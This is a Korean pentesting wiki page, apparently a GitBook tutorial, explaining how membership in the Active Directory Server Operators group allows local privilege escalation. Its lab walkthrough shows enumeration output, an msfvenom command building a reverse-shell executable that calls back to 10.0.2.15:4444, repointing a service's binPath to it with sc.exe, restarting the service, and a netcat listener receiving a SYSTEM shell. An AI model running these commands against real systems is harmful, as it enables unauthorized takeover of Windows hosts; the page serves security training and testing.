펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • GenericAll
        • Inherited GenericAll
        • WriteOwner
        • GenericWrite
        • WriteProperty
        • WriteSPN
        • AddMembers
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
        • Restore-ADObject
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Timeroasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • Shadow Credentials
      • DCSync
      • LSASS
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
      • DPAPI Backup Key
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • Domain Trust
    • Active Directory Trusts
    • Two-way Domain Trust
    • One-way Domain Trust
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
      • SSL Pinning
    • Tools
      • Mindmap
      • Cobalt Strike
      • BloodHound
      • LDAP Search
      • Hydra
      • Hashcat
      • Ligolo-ng
    • Home Lab
Powered by GitBook
On this page
  • Practice
  • References

Was this helpful?

Export as PDF
  1. 권한 상승
  2. Active Directory

Server Operators

Server Operators 그룹은 Windows의 Active Directory 환경에서만 존재하는 그룹입니다.

이 그룹은 서버 운영자 그룹이며 구성원들은 도메인 컨트롤러를 관리할 수 있습니다.

기본적으로 그룹에는 멤버가 없으며 이 그룹의 이름을 변경하거나 삭제는 불가능합니다.

이 그룹의 권한이 서비스의 바이너리 경로를 변경할 수 있기 때문에

우리가 장악한 계정이 Server Operators 그룹에 소속되어 있다면

특정 서비스의 바이너리 파일을 악성코드로 변경한 뒤 재실행하여 로컬 권한상승이 가능합니다.

Practice

*Evil-WinRM* PS C:\Users\wiki\Documents> whoami /all    
                                      
USER INFORMATION             
----------------                         
                                                   
User Name   SID                               
=========== ==============================================     
offsec\wiki S-1-5-21-4273732785-2380758271-4255945284-1110 

                                                          
GROUP INFORMATION      
-----------------
                                                          
Group Name                                    Type             SID         
============================================= ================ =============
Everyone                                      Well-known group S-1-1-0          
BUILTIN\Server Operators                      Alias            S-1-5-32-549   

장악한 wiki 사용자는 Server Operators 그룹에 소속되어 있습니다.

이 그룹에 속하여 권한을 부여 받더라도 모든 서비스의 바이너리 경로를 변경할 수는 없습니다.

그렇기 때문에 우리가 변경할 수 있는 서비스를 찾는 것 또한 중요합니다.

서비스 목록은 services, Get-Service 등을 통해 확인할 수 있습니다.

*Evil-WinRM* PS C:\Users\wiki\Documents> sc.exe qc TestService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: TestService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\System32\notepad.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : TestService
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

해당 환경에서는 TestService 서비스에 대해서 바이너리 변경 권한이 존재하기 때문에

로컬에서 리버스 쉘 실행파일을 생성하고 Windows로 옮긴 뒤

서비스 바이너리 패스를 리버스 쉘 경로로 변경하고 서비스를 재실행 합니다.

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.0.2.15 LPORT=4444 -f exe > rev.exe 
*Evil-WinRM* PS C:\Windows\Temp> sc.exe config TestService binPath=C:\Windows\Temp\rev.exe
[SC] ChangeServiceConfig SUCCESS

*Evil-WinRM* PS C:\Windows\Temp> Restart-Service TestService

서비스의 바이너리 패스가 리버스 쉘 경로로 변경된 상태에서 재실행을 했으니

대기 중이던 로컬 포트에 쉘이 연결됩니다.

이때는 서비스 실행 권한으로 쉘이 연결되었기 때문에 시스템 권한으로 권한상승이 됩니다.

┌──(root㉿kali)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.10] 60354
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

References

PreviousMS14-068NextDnsAdmins

Last updated 7 months ago

Was this helpful?

Windows Privilege Escalation: Server Operator Group - Hacking ArticlesHacking Articles
Logo
Active Directory 보안 그룹MicrosoftLearn
Logo